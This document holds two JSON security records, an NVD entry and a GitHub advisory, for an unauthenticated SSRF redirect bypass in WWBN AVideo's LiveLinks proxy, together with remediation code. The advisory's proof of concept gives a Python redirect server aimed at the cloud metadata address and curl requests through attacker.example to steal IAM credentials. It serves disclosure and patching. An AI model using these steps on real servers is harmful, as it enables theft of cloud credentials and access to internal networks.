{
  "affected": [
    {
      "affectedData": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 26.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "B468F0CE-E5E7-4607-BD15-B5763C47493E",
              "versionEndExcluding": "26.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. In versions 25.0 and below, the plugin/LiveLinks/proxy.php endpoint validates user-supplied URLs against internal/private networks using isSSRFSafeURL(), but only checks the initial URL. When the initial URL responds with an HTTP redirect (Location header), the redirect target is fetched via fakeBrowser() without re-validation, allowing an attacker to reach internal services (cloud metadata, RFC1918 addresses) through an attacker-controlled redirect. This issue is fixed in version 26.0."
    },
    {
      "lang": "es",
      "value": "WWBN AVideo es una plataforma de v\u00eddeo de c\u00f3digo abierto. En las versiones 25.0 e inferiores, el endpoint plugin/LiveLinks/proxy.php valida las URL proporcionadas por el usuario contra redes internas/privadas utilizando isSSRFSafeURL(), pero solo verifica la URL inicial. Cuando la URL inicial responde con una redirecci\u00f3n HTTP (encabezado Location), el objetivo de la redirecci\u00f3n se obtiene a trav\u00e9s de fakeBrowser() sin revalidaci\u00f3n, permitiendo a un atacante alcanzar servicios internos (metadatos de la nube, direcciones RFC1918) a trav\u00e9s de una redirecci\u00f3n controlada por el atacante. Este problema se corrige en la versi\u00f3n 26.0."
    }
  ],
  "id": "CVE-2026-33039",
  "lastModified": "2026-06-17T10:36:51.057",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.6,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 4.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-33039",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-03-20T13:52:19.236660Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-03-20T06:16:12.150",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/WWBN/AVideo/commit/0e56382921fc71e64829cd1ec35f04e338c70917"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-9x67-f2v7-63rw"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-9x67-f2v7-63rw"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "25.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33039"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-17T20:33:06Z",
    "nvd_published_at": "2026-03-20T06:16:12Z",
    "severity": "HIGH"
  },
  "details": "## Summary\nThe `plugin/LiveLinks/proxy.php` endpoint validates user-supplied URLs against internal/private networks using `isSSRFSafeURL()`, but only checks the initial URL. When the initial URL responds with an HTTP redirect (`Location` header), the redirect target is fetched via `fakeBrowser()` without re-validation, allowing an attacker to reach internal services (cloud metadata, RFC1918 addresses) through an attacker-controlled redirect.\n\n## Affected Component\n- `plugin/LiveLinks/proxy.php` \u2014 lines 38-42 (redirect handling without SSRF re-validation)\n- `objects/functionsBrowser.php` \u2014 `fakeBrowser()` (line 123, raw cURL fetch with no SSRF protections)\n\n## Description\n\n### Missing SSRF re-validation after HTTP redirect\n\nThe `proxy.php` endpoint validates the user-supplied `livelink` parameter against internal networks on line 18, using the comprehensive `isSSRFSafeURL()` function (which blocks private IPs, loopback, link-local/metadata, cloud metadata hostnames, and resolves DNS to detect rebinding). However, after calling `get_headers()` on line 38 \u2014 which follows HTTP redirects \u2014 the code extracts the `Location` header and passes it directly to `fakeBrowser()` without re-applying the SSRF check:\n\n```php\n// plugin/LiveLinks/proxy.php \u2014 lines 17-42\n\n// SSRF Protection: Block requests to internal/private networks\nif (!isSSRFSafeURL($_GET[\u0027livelink\u0027])) {                    // line 18: only checks initial URL\n    _error_log(\"LiveLinks proxy: SSRF protection blocked URL: \" . $_GET[\u0027livelink\u0027]);\n    echo \"Access denied: URL targets restricted network\";\n    exit;\n}\n\n// ... stream context setup ...\n\n$headers = get_headers($_GET[\u0027livelink\u0027], 1, $context);      // line 38: follows redirects\nif (!empty($headers[\"Location\"])) {\n    $_GET[\u0027livelink\u0027] = $headers[\"Location\"];                 // line 40: attacker-controlled redirect target\n    $urlinfo = parse_url($_GET[\u0027livelink\u0027]);\n    $content = fakeBrowser($_GET[\u0027livelink\u0027]);                 // line 42: fetches internal URL, NO SSRF check\n    $_GET[\u0027livelink\u0027] = \"{$urlinfo[\"scheme\"]}://{$urlinfo[\"host\"]}:{$urlinfo[\"port\"]}\";\n}\n```\n\n### No SSRF protections in fakeBrowser()\n\nThe `fakeBrowser()` function in `objects/functionsBrowser.php` performs a raw cURL GET with no URL validation:\n\n```php\n// objects/functionsBrowser.php \u2014 lines 123-141\nfunction fakeBrowser($url)\n{\n    $ch = curl_init();\n    curl_setopt($ch, CURLOPT_URL, $url);\n    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n    curl_setopt($ch, CURLOPT_USERAGENT, \u0027Mozilla/5.0 ...\u0027);\n    $output = curl_exec($ch);\n    curl_close($ch);\n    return $output;\n}\n```\n\nNo IP validation, no scheme restriction, no redirect control \u2014 any URL passed to this function is fetched unconditionally.\n\n### Endpoint is fully unauthenticated\n\nThe file begins by explicitly opting out of database and session initialization:\n\n```php\n$doNotConnectDatabaseIncludeConfig = 1;\n$doNotStartSessionbaseIncludeConfig = 1;\nrequire_once \u0027../../videos/configuration.php\u0027;\n```\n\nThere is no `.htaccess` rule restricting access to `proxy.php`, and the root `.htaccess` confirms the plugin directory is routable (line 248: `RewriteRule ^plugin/([^...]+)/(.*)?$ plugin/$1/$2`).\n\n### Inconsistent defense pattern\n\nThe codebase demonstrates awareness of SSRF risks \u2014 `isSSRFSafeURL()` is used in 5 other locations (`aVideoEncoder.json.php:303`, `aVideoEncoderReceiveImage.json.php:67,107,135,160`, `AI/receiveAsync.json.php:177`). However, none of these callers deal with HTTP redirects. The `proxy.php` endpoint is the only one that follows redirects, and it is the only one that fails to re-validate after following them.\n\n### Double SSRF exposure\n\nThere are actually two SSRF requests in the redirect path:\n1. `get_headers()` (line 38) follows the redirect to the internal IP to fetch response headers\n2. `fakeBrowser()` (line 42) fetches the full response body from the internal IP\n\nThe second is more impactful as it returns the full content to the attacker.\n\n## Proof of Concept\n\n**Step 1:** Set up an attacker-controlled server that returns a 302 redirect to an internal target:\n\n```python\n# redirect_server.py\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass RedirectHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(302)\n        self.send_header(\u0027Location\u0027, \u0027http://169.254.169.254/latest/meta-data/\u0027)\n        self.end_headers()\n\nHTTPServer((\u00270.0.0.0\u0027, 8080), RedirectHandler).serve_forever()\n```\n\n**Step 2:** Send the request to the target AVideo instance:\n\n```bash\ncurl -s \"https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.example:8080/redirect\"\n```\n\n**Expected result:** The response will contain the cloud metadata listing (e.g., `ami-id`, `instance-id`, `iam/`) prefixed with `http://169.254.169.254:` on each line. The attacker strips the prefix to recover the original metadata content.\n\n**Step 3:** Escalate to IAM credential theft:\n\n```bash\n# Redirect to: http://169.254.169.254/latest/meta-data/iam/security-credentials/\u003crole-name\u003e\ncurl -s \"https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.example:8080/redirect-iam\"\n```\n\nThis returns temporary AWS credentials (`AccessKeyId`, `SecretAccessKey`, `Token`) that can be used to access cloud resources.\n\n## Impact\n\n- **Cloud metadata exposure:** Attacker can read instance metadata on AWS (169.254.169.254), GCP (metadata.google.internal), and Azure (169.254.169.254) cloud deployments, including IAM role credentials\n- **Internal network scanning:** Attacker can probe RFC1918 addresses (10.x, 172.16-31.x, 192.168.x) and localhost services to map internal infrastructure\n- **Internal service data exfiltration:** Any HTTP GET-accessible internal service (databases with HTTP interfaces, admin panels, monitoring dashboards) can have its content read and returned to the attacker\n- **No authentication required:** The attack is fully unauthenticated, requiring only network access to the AVideo instance\n\n## Recommended Remediation\n\n### Option 1: Re-validate the redirect target with isSSRFSafeURL() (preferred)\n\nApply the same SSRF check to the redirect URL before fetching it:\n\n```php\n$headers = get_headers($_GET[\u0027livelink\u0027], 1, $context);\nif (!empty($headers[\"Location\"])) {\n    $_GET[\u0027livelink\u0027] = $headers[\"Location\"];\n\n    // Re-validate redirect target against SSRF\n    if (!isSSRFSafeURL($_GET[\u0027livelink\u0027])) {\n        _error_log(\"LiveLinks proxy: SSRF protection blocked redirect URL: \" . $_GET[\u0027livelink\u0027]);\n        echo \"Access denied: Redirect URL targets restricted network\";\n        exit;\n    }\n\n    $urlinfo = parse_url($_GET[\u0027livelink\u0027]);\n    $content = fakeBrowser($_GET[\u0027livelink\u0027]);\n    $_GET[\u0027livelink\u0027] = \"{$urlinfo[\"scheme\"]}://{$urlinfo[\"host\"]}:{$urlinfo[\"port\"]}\";\n}\n```\n\n### Option 2: Disable redirect following in get_headers()\n\nPrevent `get_headers()` from following redirects entirely by adding `follow_location` to the stream context:\n\n```php\n$options = array(\n    \u0027http\u0027 =\u003e array(\n        \u0027user_agent\u0027 =\u003e \u0027...\u0027,\n        \u0027method\u0027 =\u003e \u0027GET\u0027,\n        \u0027header\u0027 =\u003e array(\"Referer: localhost\\r\\nAccept-language: en\\r\\nCookie: foo=bar\\r\\n\"),\n        \u0027follow_location\u0027 =\u003e 0,  // Do not follow redirects\n        \u0027max_redirects\u0027 =\u003e 0,\n    )\n);\n```\n\nThen validate the `Location` header with `isSSRFSafeURL()` before following it manually. This approach prevents the `get_headers()` call itself from performing SSRF via the redirect.\n\n**Note:** Option 1 is simpler but still allows `get_headers()` to make an initial request to the redirect target (header-only SSRF). Option 2 eliminates both SSRF vectors. Both options should be combined for defense-in-depth.\n\n## Credit\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
  "id": "GHSA-9x67-f2v7-63rw",
  "modified": "2026-03-20T21:22:40Z",
  "published": "2026-03-17T20:33:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-9x67-f2v7-63rw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33039"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/0e56382921fc71e64829cd1ec35f04e338c70917"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo vulnerable to unauthenticated SSRF via HTTP redirect bypass in LiveLinks proxy"
}